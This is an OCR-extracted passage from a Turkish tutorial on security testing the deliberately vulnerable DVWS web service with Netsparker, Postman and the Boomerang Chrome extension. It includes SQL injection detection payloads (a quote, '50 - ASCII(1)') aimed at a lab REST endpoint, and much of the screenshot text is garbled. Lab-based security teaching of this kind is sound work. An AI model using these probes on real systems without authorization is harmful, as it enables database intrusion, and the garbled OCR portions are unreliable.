giderilmesi i¢in bkz. DVWS SQLi Aciklikli Rest API U¢ Noktasindaki Hatanin (Bug’in)
Giderilmesi.

Netsparker ile rest web servis tarayabilmek igin rest web servislerde arayiiz / kapsam sunan
WADL, OpenAPI (Swagger) v.b. dosyay1 Netsparker tarama ayarlarindan Import Links secenegi
ile yiikklemek gerekmektedir. Bu sekilde Netsparker otomatize tarama araci rest web servisin
arayliziinii / kapsamini gorebilecektir ve saldir1 testlerini uygulayabilecektir.

DVWS web servisi kompakt halde test amagli hem SOAP web servis hem de REST web servis
barindirmaktadir. REST web servisi i¢in bir tanimlama dosyast bulundurmamaktadir. Bunun yerine
bir adet url seklinde arayiiz / kapsam sunmaktadir. Bu nedenle netsparker’a arayiiz / kapsam bu bir
url ile eklenecektir.

Oncelikle dvws web servisindeki ilgili sayfay1 gérelim.

-
°
L
o

Q@ e

REST API SQL Injection

S5Q

P 0B D

More Information

B
-
(¥
(8)
B
-

DVWS Web Servisindeki REST Web Servisi Kismi

Bir URL verilmis. Bu rest web servise ait URL ile URL’deki parametreye verilen degere gore
arkada veritabanindan veri json formatinda getirilmektedir.
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Activities @ Chromium Web Browser = Cts 17:03 @

192.168.0.33/dvws/vulnerabilities/sqli/apl.php/users/2 - Chromium
SOAP Web Se GitHub -snoc

C {t A Notsecure | 192.168.0.33/dvwsfulnerabilities/sqli/api phpfusers/2

@ USUNSGE §) UCROWDSGE @ SanalSiberGi... @ SiberLab3SGE 3 OpenStackGe... {A SGEUdemy M milzik

-
>
“

# Apps ¥ isGlclGirisi @ JiraisGici & ConfluenceSGE @ Loginto by

{"first_name":"Gordon","last_name":"Brown"}

Q

[l

P QD m B

eo&N

REST Web Servis URL Parametresi 2 iken Gelen Veri

ctivities @ Chromium Web Browser =

® RESTAPITest

& confluence SGE @ Login to by USUNSGE §J UCROWDSGE @ SanalsiberGi... @ SiberLab3sGE [3 OpenstackGe.. {4 SGEUdemy M mizik

O it apps R iscicocis @ Jirals Gic

{"first_name":"Hack","last_name":"Me" }

>

=< |

)

Rest Web Servis URL Parametresi 3 iken Gelen Veri
DVWS’nin bu ders sayfas1 ekraninda rest web servis url’sindeki 2 parametresinde sql enjeksiyonu
acikligi sunulmaktadir.

Netsparker ile REST web servisini bu arayiizii / kapsami gostererek test edelim ve sql enjeksiyonu
tespiti yapalim. Oncelikle netsparker taramaya web servis adresi verilir.
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Start a New Website or Web Service Scan

Target Website or Web Service URL

http://192.168.0.36/ chvws/ - [a1| [©) Previous Settings | -
°Options
Scan Settings )
- Scan Policy
G |
‘;' == Default Security Checks - *
) Scope
& Additional Websites (330
&2 Imported Links Default Report Policy -
@8 URL Rewrit
e Fue Custom Cookies
E Pre-Request Script
Shark (IAST)
Authentication
Crawling
E Form . .
+ | Find & Follow New Links
= RIS Bene Crawl & Attack at the Same Time
o FEEE Pause Scan After Crawling
Client Certificate
0 Smart Card
© oruth2
¢ Manual
Start Scan - Cancel

Netsparker Taramaya Web Servis Adresi Girilir

Ardindan rest web servis arayiizii / kapsami tanimlama dosyasi olmadigindan Import Links
seceneginde arayiiz / kapsam dosyasi import etmek yerine bir adet url seklinde ekleme yapalim.

Start a New Website or Web Service Scan ] X

Target Website or Web Service URL
http://192.168.0.36/ dvws/ - (x| (©) Previous Settings | ~

°0ptions

Scan Settings
Imported Links

G |
,& enera 0 Add Edit Delete Clear Q Search = Impert From File~ Enter Links
) Scope

& Additionl Websites Method | URL A

&4 Imported Links
@ URL Rewrite
g Pre-Request Sdfipt

Shark (IAST)

Authentication

E Form
A7 Basic, NTLM/Kerbefos e

'.-_—E_ Header

Client Certificate
@8 Smart Card

0 onuthz

& Manual (D Scan scope rules will be applied to imported links during the scan.

Start Scan - Cancel

Web Servis Arayiiz / Kapsam Yiikleme Ekranima Gidilir
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Target Website or Web Service URL

http://192.168.0.36/ chws/

Enter Links/HTTP Requests = o X
Link Format |¢&” Relative or Absolute Links -

Enter Links or HTTP Requests

hittp://192.168.0.36/chvws/vulnerabilities/sqli/api.php/users/2

OK Cancel
9 Manual | | @Scan scope rules will be applied to imported links during the scan. | |
Start Scan - Cancel
. 9 . eqe
Endpoint URL’1 Girilir

Start a New Website or Web Service Scan ] x

- ; .:9 Previous Settings | ~

Target Website or Web Service URL

http://192.168.0.36/ dvws/
°Optinn5
Scan Settings
#~ General
O Scope
% Additional Websites
&% |mported Links (1
g URL Rewrite
E Pre-Request Script
Shark (IAST)
Authentication
8 Form
Basic, NTLM/Kerberos
= Header
Client Certificate
Smart Card

© onuth2

< Manual

= x| |© Previous Settings | -

Imported Links

OAdd K * Edit XK Delete r‘g(laar QSaarch Import From File = Enter Links

Method = URL
GET [ http://192.169.0.36/chvws/vulnerabilities/sqli/api.php/users/2
@T link(s) successfully imported. n

@ Scan scope rules will be applied to imported links during the scan.

Start Scan - Cancel

Rest Web Servis Arayiizii / Kapsami Eklenir

Simdi taramaya baslamadan 6nce URL Rewrite kurali girmek gerekmektedir. Ciinkii hedef web
servisi URL Rewrite kurali kullanmaktadir. Bu durum URL parametrelerinin URL’de dizin ismi
boliimii olarak yer almasindan anlasilabilir. Hedef REST web servisi URL’de bu sekilde parametre
kullanmaktadir. Eger Netsparker’da URL Rewrite kurali girilmezse (yani rest web servis
url’sindeki parametre isaretlenmezse) netsparker kendinden tanmimli saldirilart rest web servis
url’sinde dizin ismi seklinde yer alan parametrede uygulamayacaktir. Yani url’deki dizin ismi gibi
goriinen parametre taranmamis olacaktir. Bu nedenle url’deki ilgili parametre url rewrite kural ile
isaretlenmelidir ve tarama kapsamina dahil edilmelidir. Bu sekilde tarama sirasinda saldirilar o
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parametreye de uygulanabilir olacaktir.

Rest web servis URL’sindeki Parametreyi kapsama dahil etmek i¢in URL Rewrite sekmesine
gidilir ve Custom secenegine tiklanir.

Start a New Website or Web Service Scan [m}

Target Website or Web Service URL
http://192.168.0.36/dvws/ - (x| |© Previous Settings | -

°Optiuns

| Scan Settings

URL Rewrite
#~ General

' |Enabled Heuristic = @ Exclusions
) Scope

Root Path M Heuristic = 60
O: Additional Websites

Sub Path Mz Custom 30 7

€2 Imported Links (1)
@ URL Rewrite Block Separators: 150l

CRCHCHC)

Analyzable Extensions: htrm, html

g Pre-Requesthcript

@ If your website uses UR\Rewrite then you should configure the URL Rewrite
by choosing "Custom” URL Rewrite Rules. This will make scans faster and will
increase the coverage.

Y, Shark (IAST)

Authentication

I'E Form

Basic, NTLM/Kerl

L
? Header
Client Certificate

B8 Smart Card

© oiuth2
&

Manual

Start Scan - Cancel

New ile kural penceresi agilir.

Start a New Website or Web Service Scan ]

Target Website or Web Service URL
http://192.168.0.36/ chews/ = [a1| |(© Previous Settings | ~

oOptluns

Scan Settings

URL Rewrite
f General _ .

/| Enabled Custom~ [-Z| Copy Rules @ Exclusions
) Scope
& Additional Websites (5D lzEE © Uy R e [ Test
&< Imported Links (1) Placeholder Pattern RegEx Pattern
@) URL Rewrite AY

g Pre-Request Script

', Shark (IAST)

Authentication

& Form

4 Basic, NTLM/Kerberos
= Header

Client Certificate

~ | Enable Heuristic Rule Detection

@ Use placeholder or regular expression patterns to define URL Rewrite rules.

@8 Smart Card
_J Sl For example if the target URL is

o DAuth2 http://example.com/blog/news/welcome-to-my-blog
The following placeholder pattern can be used /blogf{category}/{title}
< Manual More Information
Start Scan - Cancel

Sayfa 58 / 167



Tgili rest web servis url’si girilir.

W

Target Website or Web Service URL

Add URL Rewrite Rule

Configure Sample URL

@ Enter a sample URL that matches the URL rewrite rule you want to add.
Example: http:/fwww.example.com/products/123

Click Next to continue.

URL: | http://192,168.0.36/dvws/vulnerabilities/sqli/api.php/users/2

Ba Cancel
— i I
2 Basic, NTLM/Kerberos
=] Header
+ | Enable Heuristic Rule Detection
Client Certificate
) Smart Card (D Use placehclfler or regular aq?r&:sicn patterns to define URL Rewrite rules.

For example if the target URL is
o Oluth? http://example.com/blog/news/welcome-to-my-blog

The following placeholder pattern can be used /blogf{category}/{title}
< Manual Mare Information

Start Scan - Cancel

Ardindan url’deki dizin isimleri boliimleri ekrana gelir. Bunlardan parametre olanlar i¢in
parametredir tick isareti atilir. Bu adimda biz “2” unsuru igin parametredir tick’i atacagiz.

w

Target Website or Web Service URL

Add URL Rewrite Rule

Configure Parameters

@ Select the path segments which contain a parameter value.

Is URL Rewrite Parameter? | Parameter Type Parameter Name Path Segment
Any dvws
Any vulnerabilities
Any sqli
Any api.php
users
2
< Back Cancel
T Manual ‘ H More Information ” |
Start Scan = Cancel
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Target Website or Web Service URL
hitp: /7192 1620 36/ dvwe/ el Sl i

Add URL Rewrite Rule

Configure Parameters

® Select the path segments which contain a parameter value.

Is URL Rewrite Parameter? = Parameter Type Parameter Name Path Segment
Any dvws
Any vulnerabilities
Any sgli
Any api.php
o Any users
' Any userlD 2

Placeholder Pattern: /dvws/vulnerabilities/sqli/api.php/ {userlD}

Regbx Pattern: */dvws/vulnerabilities/sqli/api\.php/users/(?<userlD= [ "/]+)/75

< Back Cancel

T Manual | ” More Information “ |

Start Scan - Cancel
Parametre Name kismina rastgele bir bilgi girilebilir. Orn; userID. Ve Finish denilir.
Not: Eger url’deki dizin isimleri bdliimlerindeki bir unsur parametre bir diger unsur
parametrenin degeri ise Parameter Name kismina parametre unsurundaki isim girilir.
Orn; .../paraml/argl  seklinde ise Parameter Name kismina param1 girilir.
Boylece url’deki dizin ismi olarak yer alan parametre taramaya dahil edilir ve bu sekilde tarama

baslatilabilirdir.

Start a New Website or Web Service Scan m] X

Target Website or Web Service URL

hittp://192.168.0.36/ dvws/ ~ [x1| |(© Previous Settings | ~
°Option5

Scan Settings

URL Rewrite
G I

’L enera ~|Enabled Custom~+ Copy Rules eEchusions
) Scope

& Additional Websites New 3 Delete - Up (4] Down | http://192.168.0.36/dvws/... [T%] Test
¢4 Imported Links (1) Placeholder Pattern RegEx Pattern

@ URL Rewste (1) (chuefvuerates/eqifapi pfuiserf{User DY [ fehoesfnerabites/ealiva. |

g Pre-Request Script

Shark (IAST)

Authentication

E Form

4" Basic, NTLM/Kerberos

:5 Header
+/ | Enable Heuristic Rule Detection

Client Certificate
B8 Smart Card @ Use placeholder or regular expression patterns to define URIfRewrite rules.

For example if the target URL is
o OAuth? http://example.com/blog/news/welcome-to-my-blog

The following placeholder pattern can be used /blog/{catggory}/{title}
¢ Manual More Information

Start Scan - Cancel

Sayfa 60 /167



Tarama sonras1 dvws web servisinin sundugu sayfada var olan sql injection agiklig1 rest web servis
url’sindeki 2 parametresinde tespit edilecektir.

192.168.0.37 - Netsporker 60.230446

& conFiRMED I © CRITICAL

© CLASSIFICATION

Proof of Exploit

@ Scam Poiicy 0

Identified Database Name

e
DISA STI
dves

Identified Database User

Database Version

Vulnerability Details Bx

Netsparker identified an SQL Injection, which occurs when data input by a user s interpreted as an SQL command rather than as normal data by the

W Acity . ox

Yukaridaki resimde birinci olarak

http://192.168.0.36/dvws/vulnerabilities/sqli/api.php/users/1

linkinin hiyerarsisinde ag¢ikligin bulundugu gosterilmektedir ve ikinci olarak agiklik bulgulama
ekraninda ac¢ikligin bulundugu parametrenin bir URL rewrite parametresi oldugu gosterilmektedir.

Bu sekilde Netsparker’da REST web servis taramasi yapilabilir. Ayrica WADL, Swagger gibi web
servis tanimlama dosyalari ile arayiiz / kapsam yiikleyerek de taramalar gerceklestirilebilir.

Not:

Eger url rewrite kurali girilmezse ayni tarama gercgeklestirildiginde dizin ismi olarak yer alan 2
parametresi dizin ismi varsayilacagindan denetlenmeyecektir ve sql injection zafiyeti tespit
edilemeyecektir. Asagida url rewrite ile 2 parametresi isaretlemesi yapilmadan tarama yapildiginda
sql enjeksiyonunun tespit edilemedigi gosterilmistir.
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€ Wetsparker Aitan... 3

5.3.4 Postman Yazihm

5.3.4.1 Postman ile SOAP Web Servis Testi
Bu uygulamada postman yazilimi aracihigiyla kasitli zafiyetler iceren dvws soap web servisinin
giivenlik testine tabi tutulmasi uygulanacaktir.

Kullanilan Materyaller
Ubuntu 18.04 LTS /I Fiziksel Makina
Postman // Web Servis Giivenlik Testi Aract
DVWS - Windows 10 Home Premium Il Zafiyetli Web Servisi VM

Not: Ubuntu 18.04 LTS linux sisteme postman yazilimi kurulumu igin bkz. Postman
Yazilimini Linux (Ubuntu 18.04 LTS) Sisteme Kurma

Not 2: Kasith zafiyetler igeren DVWS web servisi eski kaldigindan sadece eski php
versiyon 5.5.38’de uygulamalar1 diizgiin ¢alisir durumdadir.

Not 3: DVWS kasith zafiyetler i¢ceren web uygulamasinin Windows 10 Home Premium’a
kurulumu ig¢in bkz. EK > DVWS Web API'yi Windows’a (Windows 10 Home Premium
Stirtimiine) Kurma.

Hedef giivenlik agiklikli dvws web servisinin kapsam / arayiiz dosyasini alalim.
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[ERC BN G R =

SOAP web servisin ilgili url’ine giderek CTRL+S ile wsdl dosyasini diske kaydedelim. Ardindan
Postman yazilimi agilir.

Ubuntu 18.04 LTS Terminal:
> postman

Ciktr:
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Home Workspaces ~  APINetwork ~  Explore Q Search Postman Bl ¢ 0@ e
A My Workspace New mport 4 o o Enviconrment P |
+ ¥
] 4pis gefina pllated coliectians an
woriors enviranments pfcer s consistent schema
Create sn AP1
)
aory
[ Open Workspace Overview
Greste 3 new request
mow g
B @Onine Q FndandReplace ) Conscle @ Cookies f Copturerequesis @ Bootcamp Bl Rumner B o

Postman yaziliminda soap web servis kapsamui / arayiizii xml dosyas1
My Workspace -> Import ->

seceneginden yliklenir.

Learn more about the Gifferent import formats supparted
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[ Desktop  »

Modified
12Haz
8Ara2021
28Haz
6EK
30Haz
13Nis
s
3Mar
21Nis
cum

43k8  1oMar

104k8  25Haz
s66bytes 23 Ara2021
163bytes cum

I2byes TEKi

600.6k8  7EKi

293bytes 135ub2018

35bytes 11Haz 2018

19 May
SMay
135ub 2018
16:02

TEKI

3Tem
25Eki

Import
Select tes to mport - 1/1 seictea

AW Vi Sevice WSDL 11 i

[ Cenerate colisction from imported APis
Link ths eaection as

Test Sute

» Show aavanced settngs.

fnet m

Boylece kapsamdan / araylizden gelen xml http talepler sol siitunda siralanir.

Home Workspaces v  APINetwork v  Explore Q Search Postman m [ Y @ Upgrade
£, My workspace Hew lmport e o Emironment - B
o + =
DVWA Wie Service
| & v 1 oran
ans
~ [ DVINA Web Service
= retum_price
o
[— —
s owasp_apitopto
> I checkuser_information
popuiation
=
Mentors
[ Open Workspace Querview
Craste a new request
=8 3
H @onine Q Finaand fepce [ Console @Cookles  Capture requests € Bootcamp [ Rumner @ Tasn B @
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Bu xml http talepler kurcalanabilir ve kurcalanmis sekilde hedef web servise gonderilebilir.

<

Home Workspaces ~ APl Network v  Explore () Search Postman & 0 @ Upgrade

2 My Workspace New  Import return_price t oo No Environment hd

&

= return_price w oos

~ DVWA Web Service

| &b ~ ] draft POST hd { Url}}fdvws-master/vulnerabilities/wsdlenum/service.php m
APl

[ DVWA Web Service

B
=

Params Authorization Headers (10) Pre-request Script Tests Settings Cookies <
TR E none form-data x-www-form-uriencoded @ raw binary Graph@QL XML ~ Beautify
> owasp_apitop10
=] > check_user_information 1  <?xml version="1.8" encoding="utf-8"7>
k Servers 5 e 2 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soapfenvelope/"> o
3 <soap:Body>
4 <return_priceRequest>
5 | <name>string</named 'I'
6 </Teturn_priceRequests o
7 </so0ap:Body>
8 </soap:Envelope>
9
o)
History
A
Click Send to get a response
E0 @ online Q Find and Replace B Console ® Runner T Trash [H &
Home Workspaces v APl Network v Explore () search Postman &0 @ Upgrade v
A My Workspace New  Import retun_price o+ o= Mo Emvironment v B

= return_price [C) Save ~  eee

v DVWA Web Service

& v ([ aran POST v c BasaUrl}}/d , i \um/service.php m
APls

~ ] DVWA Web Service

o

Params Authorization Headers (10) Body e  Pre-request Script Tests Settings Cookles 4§
> return_price —
EQUIE R . none form-data x-www-form-urlencoded @ raw binary GraphQL XML Beautify
> owasp_apitop10
= > check_user_information <?xml version="1.8" encoding="utf-8"?>

Mock Servers soap: 1ns:soap=" . "
3 population <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

1

2

3 <soap:Body>

4 <return_priceRequest> e
6

7

8

9

</Teturn_pricerequest>
</soap:Body>
</soap:Envelope>

5 0

History
Body Cookies Headers (8) TestResults @ 2000k 19ms 8428 SaveResponse v
Pretty Raw Preview Visualize XML~ = o o Q
1 Kexml version="1.8" encodin

="150-8859-1"7> I

2 <S0AP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xpflSoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envekpe/" xmlns:xsd="http://wew.w3.org/2001/
XMLSchema" xmlns:xsi="http://mmw.w3.org/2001/XMLSefena-instance” xmlns:SOAP-ENC="http://schemas.
xmlsoap.org/soap/encoding/">

3 <SOAP-ENV:Body>
a <nsl:return_priceResponse xmlns;nslgfttp://schemas.xmlsoap.org/soap/envelope/">
5 <return x:1:type="xsd:ﬂcat return>
6 </nsl:return_priceResponse>
7 < /SOAP-ENV: Body>
E] @ Online Q Find and B Consale @ Cookies o' Capt [l Runner [ T
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Bu sekilde siralanmig tanimli xml http taleplerindeki parametreler kurcalanarak hedef web servise
gonderilebilir ve gelen yanitlar izlenip agiklik aranabilir.

5.3.4.2 Postman ile REST Web Servis Testi
Bu uygulamada postman yazilimi aracilifiyla kasith zafiyetler igeren dvws rest web servisinin
giivenlik testine tabi tutulmas1 uygulanacaktir.

Kullanilan Materyaller
Ubuntu 18.04 LTS /I Fiziksel Makina
Postman // Web Servis Giivenlik Testi Araci
DVWS - Windows 10 Home Premium /I Zafiyetli Web Servisi VM

Not: Ubuntu 18.04 LTS linux sisteme postman yazilimi kurulumu i¢in bkz. Postman
Yazilimint Linux (Ubuntu 18.04 LTS) Sisteme Kurma

Not 2: Kasith zafiyetler iceren DVWS web servisi eski kaldigindan sadece eski php
versiyon 5.5.38’de uygulamalar1 diizgiin ¢alisir durumdadir.

Not 3: DVWS kasith zafiyetler igeren web uygulamasinin Windows 10 Home Premium’a
kurulumu i¢in bkz. EK > DVWS Web API’yi Windows’a (Windows 10 Home Premium
Sirimiine) Kurma.

Uyart: Demoda kullanilacak DVWS web servisinin sql enjeksiyonu acikligina sahip rest
api endpoint’inde (u¢ noktasinda) bug (hata) mevcuttur. Hata “No Database Selected”
seklinde ekrana gelmektedir. Hatanin (bug’in) kaynak kodda diizenlemeler yaparak
giderilmesi i¢in bkz. DVWS SQLi Aciklikli Rest API U¢ Noktasindaki Hatanin (Bug’in)
Giderilmesi.

Burpsuite demosunda oldugu gibi bu demoda da dvws web servisindeki ilgili sayfaya bir goz
atalim.
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DVWS Web Servisindeki REST Web Servisi Kismi

Gosterilen rest web servise ait URL iizerinden gidildiginde URL’deki parametreye verilen degere
gore arkada veritabanindan ¢ekilen veri json formatinda getirilmektedir.

r

@ 192.168.0.30/dvws-maste X+ v
&« C {Y A Notsecure | 192.168.0.30/dvws-master/vulnerabilities/sqli/api.php/users/2 B < % @ » 0O o H
- [ [ - ] " »

{"first_name":"Gordon","last_name":"Brown"}

REST Web Servis URL Parametresi 2 iken Gelen Veri
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1)
t 9c»00 :

B o< %

@ 192.168.0.30/dvws-maste x  +
C 1 A Notsecure | 192.168.0.30/dvws-master/vulnerabilities/sqli/api.php/users/3
»

<
[ ] = E [ ]
{"first_name":"Hack","last_name":"Me"}

Rest Web Servis URL Parametresi 3 iken Gelen Veri
DVWS’nin bu ders sayfasi ekraninda rest web servise ait url’deki 2 parametresinde sql enjeksiyonu

acikligr sunulmaktadir.
Simdi Postman yazilimi ile bu rest web servisi test edelim ve sql enjeksiyonu acikligini tespit

edelim. Bunun igin elimizdeki endpoint’i (yani kapsami) Postman yazilimina verelim.

“ Explore " @ v

Home  Workspaces v API Network
2, MyWorkspace [pr—
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Craate How

Bulleing Blocks

HTTP Request
Crete

Environment

Collection

|

a5 you frequently u
ent

Mock Server

? Explore featured APs, &

Home Workspaces «  APINetwork v Explore Q search Postman
2 My Workspace New lmport o7 Unitied Recuest +
(5] + | ¥ Untitied Requast
> DvwA Web Service:
& oET v
aets
Params  Authorizatia s(6)  Boay  Prevequ
Query Params
a VALUE
ock Sarvers

9

Hastery

=N

1 debug your gRPC
1

Workspace
Creata a workspace o b
Indspendantly or n colla

oo
oo

Monitor

lections, and warkspaces pulished by the Postman communty.

Learn mere on Pastman Dacs

B ¢ 0@ wewe -

Tests

Eswve -

DESCRIPTION e

Enter the URL and click Ser

4 10 gat a response

& Consale Q Cookies o Caplure requests & Bootcamp  (3) Runner [l Trash ] @
Home Workepaces v APINetwork ~  Explore BN & 0@ e -
2 My Workspace New mpert T nA921GB0 AW ® Mo Envircnment v B
+ = [ save v <
> VWA Web Sarvies
& GeT ~  nug Send s
o
Params Autnonzation S(6)  Body PrerequestScript  Tests  Settings Gookies
E
Enionmerts Query Params
KEY VALUE DESCRIPTION o BUKEdR
' @ 00k tms 848 SaveResponse v
visisize WML v T o Qa
2 ["first_naner:Gordon®,"Last_name": "Brown*}
@ ©onine Q Fnasnsnspace G Consaie G o v Doowsmp Dmme GTn B O

Rest Web Servis Endpoint URL’si Postman’e Verilir

2 parametresindeki degere gore json yanit gelmektedir. 2 parametresine bir sql keyword ifadesi

girelim ve girilen sql ifadesi ¢alistyor mu test edelim.
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Girilen Zararli (Payload): '

Home Workspaces ~ APl Network ~  Explore

2, My Workspace New  Import

hitp:i/192.168.0.31/ [ save

> DVWA Web Service

& GET ~  Mip/192168.0.3V/cvws-master/vuinerabilities/sqijapl. php/users/ m v

'
Params thorizat Headers (6) B P T Cookles
Query Params
a KEY VALUE DESCRIPTION wo Bl Edit
Body 2000k 15m: 3918 Save Response
Pretty HIML = =R

You Mave an eTTOT 1n your SQL Syntax: check the manual TRAT COITESPONGS TO YOUT MAC1a0B SETVET veIsion
for the right syntax to use near '*' at line 1

Girilen Zararl: (Payload): 1

fal @ upgrade

Home Workspaces ~  APINetwork ~  Explore

2 My Workspace New  mport 16803%1dve ®

hitp:]/182.168.0.31/dvws-masterjvulnerabilities/sqi/apt phpfusers1

> DVWA Web Service

& GET hitp/182.168.0.31/dvws-master/vulnerabilities/sqliapl php/usersf1 m ‘)

et Cookies

Query Params

o KEY VALUE DESCRIPTION o Bulk Edit

Save Response

Body

Pratty HTML = =]

§"first_name":*Oarth®,"last_name’:"Vader"}

Girilen Zararli (Payload): 50 - ASCII(1)
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Home Workspaces ~  APINetwork «  Explore ) Se ® Upgrade

2, My Workspace Wew  mport

hitp://192168.0. 7 .
> DVWA Web Service
& GET http://192.166.0. 31 dvws-master/vuinerabilities/sqiapi phplusers/S0 - ASCIT m g
aPis -
L o Lo Cookies

[k payload’da tirnak karakteri sql hatas1 dondiirmiistiir. Demek ki tirnak karakteri sql ifadesi olarak
islenmistir ve fazla tirnak ile sql hatasia sebep olmustur. Ikinci payload’da 1 ifadesi girilmistir ve
karsilik olarak 1 kayd: dénmiistiir. Uciincii payload’da ise ASCII(1) sql ifadesi girilmistir. Bu sql
ifadesi degeri 49’a esittir. 50-ASCII(1) ile 50°den 49 ¢ikarildiginda 1 kalacaktir ve 1 kaydi yine
yanit olarak donecektir. 1 payload’u ile 50-ASCII(1) payload’u ayni ¢iktiy1 verdiginden ASCII()
sql ifadesi olarak ¢alismigtir. Demek Ki sql enjeksiyonu agikligi var. Bu tespit sonrasi sql ifadeleri
uygun sekilde girilerek sql enjeksiyonu gercgeklestirilebilir.

Bu sekilde Postman ile rest web servisi giivenlik testleri uygulanabilir.

5.3.5 Chrome “Boomerang SOAP and REST Client” Eklentisi
Bu uygulamada bir web tarayici eklentisi araciligiyla kasitli zafiyetler iceren dvws soap web
servisinin gilivenlik testine tabi tutulmasi uygulanacaktir.

Kullanilan Materyaller

Ubuntu 18.04 LTS /I Fiziksel Makina
Boomerang SOAP and REST Client Plugin // Web Servis Giivenlik

/[ Testi Chrome Eklentisi
DVWS - Windows 10 Home Premium I Zafiyetli Web Servisi VM

Not: Kasitli zafiyetler iceren DVWS web servisi eski kaldigindan sadece eski php
versiyon 5.5.38’de uygulamalar1 diizgiin ¢alisir durumdadir.

Not 2: DVWS kasith zafiyetler igeren web uygulamasinin Windows 10 Home Premium’a
kurulumu i¢in bkz. EK > DVWS Web API’yi Windows’a (Windows 10 Home Premium
Siirtimiine) Kurma.

Soap web servisleri denetlerken daha once SoapUI, Burpsuite, Netsparker ve Postman
kullanmistik. Bu islemi web tarayici eklentileri yoluyla da yapabiliriz. Yani service requestor’imiz
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bu sefer web tarayici eklentisidir.
- Boomerang SOAP and REST Client (Chrome Eklentisi)

Bu v.b. web tarayici eklentileri ile wsdl dosyasi parse edilebilir, 6rnek soap talepleri otomatik
olusturulabilir ve paketlerde oynamalar yaparak ve gondererek web servis denetlemesi
uygulanabilir.

Boomerang SOAP and REST Client eklentisi chrome web tarayicilara kuruldugunda soyle bir
arayiizle ekrana gelmektedir.

P2t 15:09 ¢ (CrHp-

Boomerang

Welcome to Boomerang

Let's get started!

Create a Service:

Oncelikle test edilecek DVWS soap web servisinin wsdl dosyas1 url’sini alalim.

P2t 1513 ¢ (ru@-

re | 192.168.71.12/dvws/vulnerabilities/wsdles E TR A

WSDL Enumeration

Most SOAP services are deployed to process requests given by a user through a web application. In common scenarios, the WSDL file is not exposed to the public. However, if an artacker can access an application’s WSDL file, he can try to
‘enumerate and and look for hidden services used by the web appiication.

WSDL enumeration aims to discover b services by retrieving their WSDL file.

More Information
p.org/index php/Testing_W.
orgfndex phpWSDL_Disclosure

The below form submits a value to be processed by the back-end SOAP senvice. Try to scan the WSDL file and look for other requests being processed by the SOAP service.Click here o view the WSDL of the appication.

Smartphone OS Market Share
‘Android
S
Windows Phone
Others

Subma
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@ 192.168.71.12/dvws/vuln x

€ € 0 A notsecure | 192.168.71.12/dvws/vulnerabil

esfwsdlenu

‘This XML file does not appear 1o have any style information associated wipit. The document tree is shown below:

v<definitions xnlns :SOAP-ENVa"hUEp: //schenas. xnLsoap.org/sofl R IgDe/" xalns:xsde"hUtp://wi.u3.0rg/200L /ML Schema® xmlns:xsim"h
XS s " v twebservice" xmLnG: sospm NTtp //echenas xnUal)orQMsdL/50ap/ - XBns iwod < hEtp / Fschenas. mlsaap.org/usdl /- aln

jvwa iwebservice®>
+//5chenas . xals0ap org/ />

="xsd: st m.g- >

v<message name="Return_priceResponse”s
return® type="xsd: float"/>

check_user_idRequest”>
username® type="xsd:string"/s

asd string /=

wamessage name="PopulationRequest
valie ane-  Typesuad:string' />

Populationfesponse”>
5d: integer” />

»2portType nane-"DVUA Web Service PortTypess
v<operation name-"Return price>
-*tns:Return pricefequest”/>
53g6="tNs:RETUrN PriceRasponse™/>

check_user_id">
“tns:check user_idRequest”,

w<operation nases"Population’s
<input message="tns:PopulationRequest™/>
tns:PopulationResponse”/>

DA Web Service PortType®
/schenas . xnls0ap. org/soap/http* />

oVNA Web Service Binding: typ

B tyle-"rpe” hetp

v<operation name="Return_price"
Tavap:oparation $oapACH Lamm-http://192.160.71.12/dvwes/ vulnersbi Lities wsdLenuny service. php/Return.price

encodingstyle="http://schenss. xnlsoap. org/soap/encoding/” >

<soap:body use="encoded” namespaces
</output>
<foperations
v<operation name="check_user_id">
<soap:operation soapAction="http://192.168.71.12/dwas/vulnerabilities/wsdlenun/service. php/check user id"
v<ingut>
<soap:body use="encoded”

codingStyles"http://schenas. xnlsoap.arg/soap/encoding/" />

style="rpcr/>

encodingStyles"http://schemas, xmlsoap. arg/sosp/encoding/" />

<soap:body use="encoded” namespaces""

encodingStyles"http://schemas. xls0ap. org/soap/encoding/” f>
</output>

w<operation nase-"Population’s
<soap:operation soapActio

nttp://192.168.71.12/dwas/vulnerabilities /wsdlenun/service. php/Population” styls

Ardindan Chrome eklentisi arayiiziinde Create a Service diyerek test edilecek Soap web servisinin

WSDL dosyasi url’sini girelim veya dosya elde mevcutsa dosya yiiklemesi Browse segenegini
kullanarak wsdl dosyasin1 yiikleyelim.

2 Boomerang B +

£ Boomerang-SOAP & REST Client | chrome-extension/Jeipdnjedkpcnlmmdidkgfpljanehioah

workspace htmls

Weicome to Boomerang

Let's get started!

2 Boomerang

* Boomerang- SOAP & REST Client | chrome-extension/eipdnjedkpenimmarakgfpljanehloah/app/workspace htmis

WSDL URL

p11192.168.71.1 2ihvwsivinerabiitosiw

‘Service Name

VWS Wieb Servis Testi

Authentication
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Bu sekilde hedef dvws soap web servisin arayiizii / kapsami eklentiye (web servisi tiiketen /
kullanan uygulamaya) yiiklenmis olacaktir.

P2t 15115 ¢ Lru@-

reipdnjedkpenlmmdfdkgfpljanehloah/app/workspace htmiz Bt ® YN

Weicome to Boomerang

Let's get started!

Create a Service:

Sol siitunda hedef soap web servisin kabul ettigi parametreler siralanacaktir. Bu parametrelerden
biri i¢in 6rnek bir xml talebi otomatik sekilde olustur diyelim.

<
Boomerang
#) 4 @D

Welcome to Boomerang

9

Let's get started!

Try new Boomerang

Bl = soomerang
SOAP & REST Client | chrome-exten

Boomerang
4 @ DVWS Web Servis

Ardindan olusan 6rnek xml talebini kurcalayarak hedef dvws soap web servise gonderelim.
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hloah/app/workspace htmist

Boomerang
iQ Web Servis Testi

./ [schenas .xnlseap.org/seap/ envelope/ ~ xnlns:dvw="dveazwebservice ™

</xiEnvelope>

(Not: Return_Price arguman degerleri dvws sayfasinin sundugu ekrandaki radio button’larin name
attribute’unlarindan elde edilmistir).

Bl & Boomerang

EST Client | chrome-

Boomerang
4 QDVWS Web

9/soap/encoding/” xnlns:SOAP-ENV="h
e* XNLns:SOAP-ENC="http: | /schenas .xm

Bl & Boomerang

C (3 ® Boomerang-SOAP &REST Client | chrome-exte!

Boomerang
# 4 @DVWS Web Servis Testi

